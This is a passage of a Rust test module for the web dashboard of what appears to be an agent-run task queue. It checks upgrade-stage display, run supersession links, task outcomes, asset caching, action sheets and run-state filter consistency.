20647 #[test]
20648 fn the_upgrade_button_names_its_destination() {
20649 assert!(
20650 APP_JS.contains("`Update to ${update.to}`"),
20651 "pressing the button should not be a surprise about what it moves to"
20652 );
20653 }
20654
20655 #[test]
20656 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
20657 for stage in ["downloading", "replaced", "parking", "restarting"] {
20658 assert!(
20659 APP_JS.contains(&format!("\"{stage}\"")),
20660 "the phone must be able to tell {stage} apart from the others"
20661 );
20662 }
20663 assert!(APP_JS.contains(".waiting_on"));
20664 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
20669 assert!(APP_JS.contains("reconnects on its own"));
20670 }
20671
20672 #[test]
20673 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
20674 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
20683 ..APP_JS.find("function upgrade(").expect("upgrade")];
20684 assert!(
20685 !body.contains(
20686 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
20687 ),
20688 "a failed upgrade must not take the whole strip over the way it used to"
20689 );
20690 assert!(
20691 body.contains("upgradeFailNote"),
20692 "the failure has to reach the loop's own note instead"
20693 );
20694 assert_eq!(
20698 body.matches("upgradeFailNote].filter(Boolean).join")
20699 .count(),
20700 2,
20701 "both loop-why writers (quiet and control) must fold the note in"
20702 );
20703 }
20704
20705 #[test]
20706 fn an_overdue_upgrade_eventually_asks_for_a_human() {
20707 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
20710 assert!(APP_JS.contains("function upgradeOverdue("));
20711 }
20712
20713 #[test]
20714 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
20715 assert!(
20716 APP_JS.contains("Updated to ${upgradeInfo.to"),
20717 "the operator who asked for the restart wants to know it worked"
20718 );
20719 }
20720
20721 #[test]
20722 fn an_error_is_visible_from_where_the_button_is() {
20723 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
20728 ..APP_CSS.find(".alert-text").expect(".alert-text")];
20729 assert!(
20730 alert.contains("position: fixed"),
20731 "an error about the thing under your thumb has to be visible from \
20732 where your thumb is: {alert}"
20733 );
20734 assert!(
20735 alert.contains("z-index: 25"),
20736 "above the dock (20) and the run-actions FAB (15), so neither \
20737 buries it: {alert}"
20738 );
20739 assert!(
20740 alert.contains("var(--tap)"),
20741 "and clear of the dock and the home indicator: {alert}"
20742 );
20743 assert!(
20746 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
20747 "the FAB's column stays free: {alert}"
20748 );
20749 }
20750
20751 #[tokio::test]
20752 async fn an_older_attempt_says_what_replaced_it() {
20753 let fx = Fixture::start().await;
20754 let q = fx.queue();
20755 let runs = fx.runs();
20756 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
20757 write_run(&runs, first, RunStatus::Stalled);
20758 write_run(&runs, second, RunStatus::Blocked);
20759
20760 let mut t = Task::new(
20761 "one task".to_owned(),
20762 "do it".to_owned(),
20763 PathBuf::from("/repo"),
20764 Source::Human,
20765 );
20766 t.runs = vec![first.to_owned(), second.to_owned()];
20767 q.put(&mut t).expect("put");
20768
20769 let rows = fx.get("/api/runs").await.json();
20773 let by = |short: &str| -> Value {
20774 rows.as_array()
20775 .unwrap()
20776 .iter()
20777 .find(|r| r["short"] == short)
20778 .cloned()
20779 .unwrap_or(Value::Null)
20780 };
20781 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
20782 assert!(
20783 by("bbbb")["superseded_by"].is_null(),
20784 "the latest attempt is not superseded by anything"
20785 );
20786 assert!(APP_JS.contains("run.superseded_by"));
20788 assert!(APP_JS.contains("Superseded by"));
20789 }
20790
20791 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
20792 let mut t = Task::new(
20793 "one task".to_owned(),
20794 "do it".to_owned(),
20795 PathBuf::from("/repo"),
20796 Source::Human,
20797 );
20798 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
20799 t.status = status;
20800 t
20801 }
20802
20803 #[test]
20804 fn source_link_picks_the_page_that_filed_the_task() {
20805 let agent = |node: &str| Source::Agent {
20806 run: "20260904-014455-ab12".to_owned(),
20807 node: node.to_owned(),
20808 };
20809 let chat = source_link(&agent("chat")).expect("chat link");
20810 assert_eq!(chat.kind, "chat");
20811 assert_eq!(chat.id, "20260904-014455-ab12");
20812 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
20813 let run = source_link(&agent("implement")).expect("run link");
20814 assert_eq!(
20815 (run.kind, run.href.as_str()),
20816 ("run", "#/runs/20260904-014455-ab12")
20817 );
20818 assert_eq!(source_link(&Source::Human), None);
20819 assert_eq!(
20820 source_link(&Source::Issue {
20821 number: 3,
20822 repo: "o/r".to_owned()
20823 }),
20824 None
20825 );
20826 let odd = source_link(&Source::Agent {
20827 run: "a b/c".to_owned(),
20828 node: "chat".to_owned(),
20829 })
20830 .expect("link");
20831 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
20832 }
20833
20834 #[test]
20835 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
20836 assert!(
20837 !APP_JS.contains("src.node === \"chat\""),
20838 "inline href rule is back"
20839 );
20840 assert!(
20841 APP_JS.matches("sourceLinkOf(").count() >= 4,
20842 "helper must serve every page"
20843 );
20844 assert!(
20845 APP_JS.matches("openChatLink(").count() >= 3,
20846 "the run page still needs its explicit chat link"
20847 );
20848 assert!(
20849 !APP_JS.contains("const openChat = el("),
20850 "the Queue card duplicates its source label link again"
20851 );
20852 assert!(
20853 APP_JS.contains("metaKids.push(link ? el(\"a\""),
20854 "the task page must link a chat source label too"
20855 );
20856 }
20857
20858 #[test]
20859 fn task_ref_carries_the_source_link_for_a_chat_task() {
20860 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
20861 t.source = Source::Agent {
20862 run: "20260904-014455-ab12".to_owned(),
20863 node: "chat".to_owned(),
20864 };
20865 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
20866 let v = serde_json::to_value(&out).expect("json");
20867 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
20868 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
20869 assert_eq!(v["source_label"], t.source.label());
20870
20871 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
20872 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
20873 .expect("json");
20874 assert!(v["source_link"].is_null(), "{v}");
20875 }
20876
20877 #[test]
20878 fn task_view_serializes_source_link() {
20879 let mut t = Task::new(
20880 "t".to_owned(),
20881 "t".to_owned(),
20882 PathBuf::from("/repo"),
20883 Source::Agent {
20884 run: "20260901-000000-aaaa".to_owned(),
20885 node: "implement".to_owned(),
20886 },
20887 );
20888 t.runs.clear();
20889 let v = serde_json::to_value(TaskView::from(t)).expect("json");
20890 assert_eq!(v["source_link"]["kind"], "run", "{v}");
20891 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
20892 }
20893
20894 #[test]
20895 fn task_view_serializes_urgent_flag() {
20896 let mut t = Task::new(
20897 "t".to_owned(),
20898 "t".to_owned(),
20899 PathBuf::from("/repo"),
20900 Source::Human,
20901 );
20902 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
20903 assert_eq!(v["urgent"], false, "{v}");
20904 t.urgent = true;
20905 let v = serde_json::to_value(TaskView::from(t)).expect("json");
20906 assert_eq!(v["urgent"], true, "{v}");
20907 assert!(APP_JS.contains("task.urgent === true"));
20908 }
20909
20910 #[tokio::test]
20911 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
20912 let fx = Fixture::start().await;
20913 let runs = fx.runs();
20914 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
20915 write_run(&runs, old, RunStatus::Blocked);
20916 write_run(&runs, new, RunStatus::Merged);
20917 let mut t = outcome_task(&[old, new], TaskStatus::Done);
20918 fx.queue().put(&mut t).expect("put");
20919
20920 let view = fx.get(&format!("/api/runs/{old}")).await.json();
20921 let task = &view["task"];
20922 assert_eq!(task["status"], "done");
20923 assert_eq!(task["is_latest"], false);
20924 assert_eq!(task["latest"]["short"], "bbbb");
20925 assert_eq!(task["finished_by"]["id"], new);
20926 assert_eq!(task["finished_by"]["outcome"], "merged");
20927 assert_eq!(task["closed_by_hand"], false);
20928 assert_eq!(view["status"], "blocked", "the run keeps its own status");
20929 assert!(APP_JS.contains("finished_by"));
20930 assert!(APP_JS.contains("superseded by run"));
20931 }
20932
20933 #[tokio::test]
20934 async fn the_latest_run_reports_a_held_task_without_a_successor() {
20935 let fx = Fixture::start().await;
20936 let runs = fx.runs();
20937 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
20938 write_run(&runs, old, RunStatus::Stalled);
20939 write_run(&runs, new, RunStatus::Blocked);
20940 let mut t = outcome_task(&[old, new], TaskStatus::Held);
20941 fx.queue().put(&mut t).expect("put");
20942
20943 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
20944 assert_eq!(task["status"], "held");
20945 assert_eq!(task["is_latest"], true);
20946 assert!(task["latest"].is_null());
20947 assert!(task["finished_by"].is_null());
20948 assert_eq!(task["closed_by_hand"], false);
20949 }
20950
20951 #[tokio::test]
20952 async fn a_direct_run_has_no_task_outcome() {
20953 let fx = Fixture::start().await;
20954 let runs = fx.runs();
20955 let id = "20260901-000000-aaaa";
20956 write_run(&runs, id, RunStatus::Blocked);
20957 let view = fx.get(&format!("/api/runs/{id}")).await.json();
20958 assert!(view["task"].is_null());
20959 }
20960
20961 #[test]
20962 fn task_outcome_does_not_guess_a_finishing_run() {
20963 let a = "20260901-000000-aaaa";
20964 let b = "20260901-000000-bbbb";
20965 let c = "20260901-000000-cccc";
20966 let dir = tempfile::tempdir().expect("tempdir");
20967 write_run(dir.path(), a, RunStatus::Blocked);
20968 write_run(dir.path(), b, RunStatus::VerifiedNoop);
20969 let read = |id: &str| read_run(dir.path(), id).ok();
20971 let t = outcome_task(&[a, b, c], TaskStatus::Done);
20974 let out = task_outcome(&t, a, 3, read);
20975 assert!(out.finished_by.is_none());
20976 assert!(out.closed_by_hand);
20977 let latest = out.latest.expect("latest");
20978 assert_eq!(latest.id, c);
20979 assert_eq!(latest.status, None);
20980 assert_eq!(latest.outcome, "record unreadable");
20981
20982 write_run(dir.path(), c, RunStatus::Ready);
20984 let t = outcome_task(&[a, c], TaskStatus::Done);
20985 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
20986 assert_eq!(out.finished_by.expect("finisher").id, c);
20987 assert!(!out.closed_by_hand);
20988
20989 let t = outcome_task(&[a, b, a], TaskStatus::Held);
20991 assert!(task_outcome(&t, a, 3, read).is_latest);
20992 }
20993
20994 #[tokio::test]
20995 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
20996 let fx = Fixture::start().await;
21001 let q = fx.queue();
21002 let runs = fx.runs();
21003 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
21004 write_run(&runs, first, RunStatus::Blocked);
21005 write_run(&runs, second, RunStatus::Merged);
21006
21007 let mut t = Task::new(
21008 "one task".to_owned(),
21009 "do it".to_owned(),
21010 PathBuf::from("/repo"),
21011 Source::Human,
21012 );
21013 t.runs = vec![first.to_owned(), second.to_owned()];
21014 q.put(&mut t).expect("put");
21015
21016 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
21017 assert_eq!(earlier["superseded_by"], "dddd");
21018 assert_eq!(earlier["latest_attempt"]["id"], second);
21019 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
21020 assert_eq!(
21021 earlier["latest_attempt"]["resolved"], true,
21022 "the run that replaced it landed, so this one reads as settled"
21023 );
21024
21025 let later = fx.get(&format!("/api/runs/{second}")).await.json();
21026 assert!(
21027 later["superseded_by"].is_null(),
21028 "the latest attempt is not superseded by anything"
21029 );
21030 assert!(
21031 later["latest_attempt"].is_null(),
21032 "the latest attempt has no later attempt of its own"
21033 );
21034
21035 assert!(APP_JS.contains("run.latest_attempt"));
21042 assert!(APP_JS.contains("data-superseded"));
21043 assert!(APP_JS.contains("#/runs/${latest.id}"));
21044 }
21045
21046 #[tokio::test]
21047 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
21048 let fx = Fixture::start().await;
21054 let q = fx.queue();
21055 let runs = fx.runs();
21056 let (a, b, c) = (
21057 "20260901-000000-aaaa",
21058 "20260901-000000-bbbb",
21059 "20260901-000000-cccc",
21060 );
21061 write_run(&runs, a, RunStatus::Blocked);
21062 write_run(&runs, b, RunStatus::Blocked);
21063 write_run(&runs, c, RunStatus::Merged);
21064
21065 let mut t = Task::new(
21066 "retried twice".to_owned(),
21067 "do it".to_owned(),
21068 PathBuf::from("/repo"),
21069 Source::Human,
21070 );
21071 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
21072 q.put(&mut t).expect("put");
21073
21074 let view = fx.get(&format!("/api/runs/{a}")).await.json();
21075 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
21076 assert_eq!(
21077 view["latest_attempt"]["id"], c,
21078 "the chain's current head, not the intermediate Blocked retry"
21079 );
21080 assert_eq!(view["latest_attempt"]["resolved"], true);
21081
21082 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
21083 assert_eq!(mid["latest_attempt"]["id"], c);
21084 assert_eq!(mid["latest_attempt"]["resolved"], true);
21085 }
21086
21087 #[tokio::test]
21088 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
21089 let fx = Fixture::start().await;
21090 let q = fx.queue();
21091 let runs = fx.runs();
21092
21093 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
21096 write_run(&runs, still_blocked_a, RunStatus::Blocked);
21097 write_run(&runs, still_blocked_b, RunStatus::Blocked);
21098 let mut t1 = Task::new(
21099 "still stuck".to_owned(),
21100 "do it".to_owned(),
21101 PathBuf::from("/repo"),
21102 Source::Human,
21103 );
21104 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
21105 q.put(&mut t1).expect("put");
21106 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
21107 assert_eq!(view1["latest_attempt"]["resolved"], false);
21108 assert_eq!(view1["latest_attempt"]["status"], "blocked");
21109 assert_eq!(view1["latest_attempt"]["done"], true);
21110
21111 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
21113 write_run(&runs, run_a, RunStatus::Blocked);
21114 write_run(&runs, run_b, RunStatus::Implementing);
21115 let mut t3 = Task::new(
21116 "retrying".to_owned(),
21117 "do it".to_owned(),
21118 PathBuf::from("/repo"),
21119 Source::Human,
21120 );
21121 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
21122 q.put(&mut t3).expect("put");
21123 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
21124 assert_eq!(view3["latest_attempt"]["id"], run_b);
21125 assert_eq!(view3["latest_attempt"]["resolved"], false);
21126 assert_eq!(view3["latest_attempt"]["done"], false);
21127
21128 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
21133 write_run(&runs, noop_a, RunStatus::Blocked);
21134 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
21135 let mut t2 = Task::new(
21136 "claims done".to_owned(),
21137 "do it".to_owned(),
21138 PathBuf::from("/repo"),
21139 Source::Human,
21140 );
21141 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
21142 q.put(&mut t2).expect("put");
21143 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
21144 assert_eq!(
21145 view2["latest_attempt"]["resolved"], false,
21146 "an unverified no-op claim must not read as a confirmed finish"
21147 );
21148
21149 assert!(APP_JS.contains("latest.resolved"));
21152 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
21155 assert!(APP_JS.contains("Latest attempt: "));
21156 assert!(APP_JS.contains("in flight"));
21157 assert!(APP_JS.contains("not resolved"));
21158 }
21159
21160 #[tokio::test]
21161 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
21162 let fx = Fixture::start().await;
21163 let js = fx.get("/app.js").await;
21169 assert_eq!(js.status, 200);
21170 let tag = js
21171 .header("etag")
21172 .expect("an etag to revalidate against")
21173 .to_owned();
21174 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
21175 assert_eq!(
21176 js.header("cache-control"),
21177 Some("no-cache, must-revalidate"),
21178 "the phone has to ask every time"
21179 );
21180
21181 let again = fx
21184 .get_with("/app.js", &[("if-none-match", tag.as_str())])
21185 .await;
21186 assert_eq!(
21187 again.status, 304,
21188 "a deck it already has costs one round trip"
21189 );
21190 assert!(again.body.is_empty(), "304 carries no body");
21191
21192 let weak = fx
21195 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
21196 .await;
21197 assert_eq!(weak.status, 304);
21198 let stale = fx
21199 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
21200 .await;
21201 assert_eq!(stale.status, 200, "an older build must be replaced");
21202 assert!(stale.body.contains("renderRunActions"));
21203 }
21204
21205 #[test]
21206 fn the_task_detail_has_an_actions_fab_and_sheet() {
21207 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
21208 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
21209 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
21210 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
21212 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
21213 assert!(APP_JS.contains("renderTaskActions(task);"));
21215 assert!(APP_JS.contains("renderTaskActions(null);"));
21216 let sheet = APP_JS
21218 .find("function renderTaskActions")
21219 .expect("sheet renderer");
21220 let body = &APP_JS[sheet..sheet + 3000];
21221 assert!(body.contains("changePriority("));
21222 assert!(body.contains("openTaskEdit(task)"));
21223 assert!(body.contains("renderTaskHoldBox(host"));
21224 assert!(body.contains("renderTaskDoneBox(host"));
21225 assert!(body.contains("renderTaskDeleteBox(host"));
21226 assert!(APP_JS.contains("API.priority(id)"));
21227 assert!(APP_JS.contains("API.deleteTask(id)"));
21228 assert!(APP_JS.contains("location.hash = \"#/queue\""));
21230 assert!(APP_JS.contains("$(\"task-actions-error\")"));
21232 }
21233
21234 #[test]
21235 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
21236 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
21237 let actions = INDEX_HTML
21238 .find("id=\"run-actions-box\"")
21239 .expect("actions box");
21240 assert!(task < actions, "the task entry comes first in the sheet");
21241 assert!(APP_JS.contains("renderRunTaskEntry"));
21242 assert!(APP_JS.contains("\"Open task \""));
21243 assert!(APP_JS.contains("started directly, no task"));
21245 assert!(APP_JS.contains("sheet-task-link"));
21246 assert!(APP_JS.contains("task-chip-link"));
21247 }
21248
21249 #[test]
21250 fn the_deck_never_sends_the_operator_to_a_terminal() {
21251 assert!(
21254 !APP_JS.contains("Run `magi fold` first"),
21255 "the deck must offer the fold, not prescribe a shell command"
21256 );
21257 assert!(APP_JS.contains("foldRun:"));
21258 assert!(APP_JS.contains("resumeRun:"));
21259 assert!(APP_JS.contains("renderRunActions"));
21260
21261 assert!(APP_JS.contains("armedFold"));
21263 assert!(APP_JS.contains("Yes, fold worktrees"));
21264
21265 assert!(APP_JS.contains("can no longer be resumed"));
21268 }
21269
21270 #[test]
21271 fn a_finished_run_explains_itself_with_its_own_last_line() {
21272 assert!(
21278 !APP_JS.contains("collapsed on agent quota"),
21279 "a stall must not be explained by a cause the deck did not check"
21280 );
21281 assert!(
21282 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
21283 "and a block must not offer a guess with an `or` in it"
21284 );
21285
21286 assert!(
21290 APP_JS.contains("setText(r.event, run.event || \"\")"),
21291 "the run's last line is rendered unconditionally"
21292 );
21293 assert!(
21294 !APP_JS.contains("moving && run.event"),
21295 "and never gated on the run still moving"
21296 );
21297
21298 assert!(APP_JS.contains("lost to quota"));
21300 }
21301
21302 #[test]
21324 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
21325 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
21326 let shapes_body_start =
21327 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
21328 let shapes_close = APP_JS[shapes_body_start..]
21329 .find("].map(")
21330 .expect("the shape list is closed by its done-computing .map(...)")
21331 + shapes_body_start;
21332 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
21333
21334 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
21335 for entry in shapes_src.split('{').skip(1) {
21336 let waiting = entry.contains("waiting: true");
21337 let dead = entry.contains("live: \"dead\"");
21338 let status_at =
21339 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
21340 let status_end = entry[status_at..]
21341 .find('"')
21342 .expect("the status string is closed")
21343 + status_at;
21344 let parked = entry.contains("display_status: \"parked\"");
21345 shapes.push((
21346 waiting,
21347 entry[status_at..status_end].to_string(),
21348 dead,
21349 parked,
21350 ));
21351 }
21352 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
21353
21354 let done_rule_marker = "done: !";
21358 let done_rule_at = APP_JS[shapes_close..]
21359 .find(done_rule_marker)
21360 .expect("the done rule follows the shape list")
21361 + shapes_close
21362 + done_rule_marker.len();
21363 let includes_at = APP_JS[done_rule_at..]
21364 .find(".includes(shape.status)")
21365 .expect("the done rule ends in .includes(shape.status)")
21366 + done_rule_at;
21367 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
21368 .trim()
21369 .trim_start_matches('[')
21370 .trim_end_matches(']')
21371 .split(',')
21372 .map(|s| s.trim().trim_matches('"'))
21373 .filter(|s| !s.is_empty())
21374 .collect();
21375
21376 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
21377 .into_iter()
21378 .map(|(waiting, status, dead, parked)| {
21379 let done = !not_done.contains(&status.as_str());
21380 (waiting, status, dead, parked, done)
21381 })
21382 .collect();
21383
21384 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
21388 if waiting {
21389 return "waiting";
21390 }
21391 if dead
21392 && !parked
21393 && !matches!(
21394 status,
21395 "merged"
21396 | "ready"
21397 | "stalled"
21398 | "blocked"
21399 | "failed"
21400 | "verified_noop"
21401 | "superseded"
21402 | "already_in_base"
21403 )
21404 {
21405 return "stale";
21406 }
21407 match status {
21408 "merged" | "ready" => "landed",
21409 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
21410 | "already_in_base" => "ended",
21411 _ => "flight",
21412 }
21413 }
21414
21415 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
21418 match filter_key {
21419 "active" => !done,
21420 "flight" => !done && !waiting && !dead,
21421 "stale" => !done && !waiting && dead,
21422 "waiting" => waiting,
21423 "done" => done,
21424 "all" => true,
21425 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
21426 }
21427 }
21428
21429 let compatible = |section: &str, filter_key: &str| {
21430 shapes.iter().any(|(waiting, status, dead, parked, done)| {
21431 run_section(*waiting, status, *dead, *parked) == section
21432 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
21433 })
21434 };
21435
21436 let expected = [
21441 ("waiting", [true, false, false, true, true, true]),
21442 ("stale", [true, false, true, false, false, true]),
21443 ("flight", [true, true, false, false, false, true]),
21444 ("landed", [false, false, false, false, true, true]),
21445 ("ended", [false, false, false, false, true, true]),
21446 ];
21447 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
21448
21449 for (section, wants) in expected {
21450 for (filter_key, want) in filter_keys.iter().zip(wants) {
21451 assert_eq!(
21452 compatible(section, filter_key),
21453 want,
21454 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
21455 );
21456 }
21457 }
21458
21459 assert!(
21462 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
21463 );
21464 assert!(APP_JS.contains(
21465 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
21466 ));
21467 assert!(APP_JS.contains(
21468 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
21469 ));
21470 }
21471
21472 #[tokio::test]
21473 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
21474 let dir = tempfile::tempdir().expect("tempdir");
21478 let explicit = dir.path().join("not-a-checkout");
21479 std::fs::create_dir_all(&explicit).expect("create dir");
21480 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
21481
21482 let missing = dir.path().join("does-not-exist-at-all");
21483 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
21484 }
21485
21486 #[test]
21487 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
21488 assert!(APP_JS.contains("function statsDonutArcs"));
21489 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
21490 assert!(APP_JS.contains("function statusInBucket"));
21492 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
21493 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
21494 let buckets = [
21495 "merged",
21496 "ready",
21497 "in_progress",
21498 "blocked",
21499 "failed",
21500 "verified_noop",
21501 "superseded",
21502 "stalled",
21503 ];
21504 for key in buckets {
21505 let var = format!("--verdict-{key}:");
21506 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
21508 assert!(
21509 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
21510 "{key}"
21511 );
21512 }
21513 }
21514}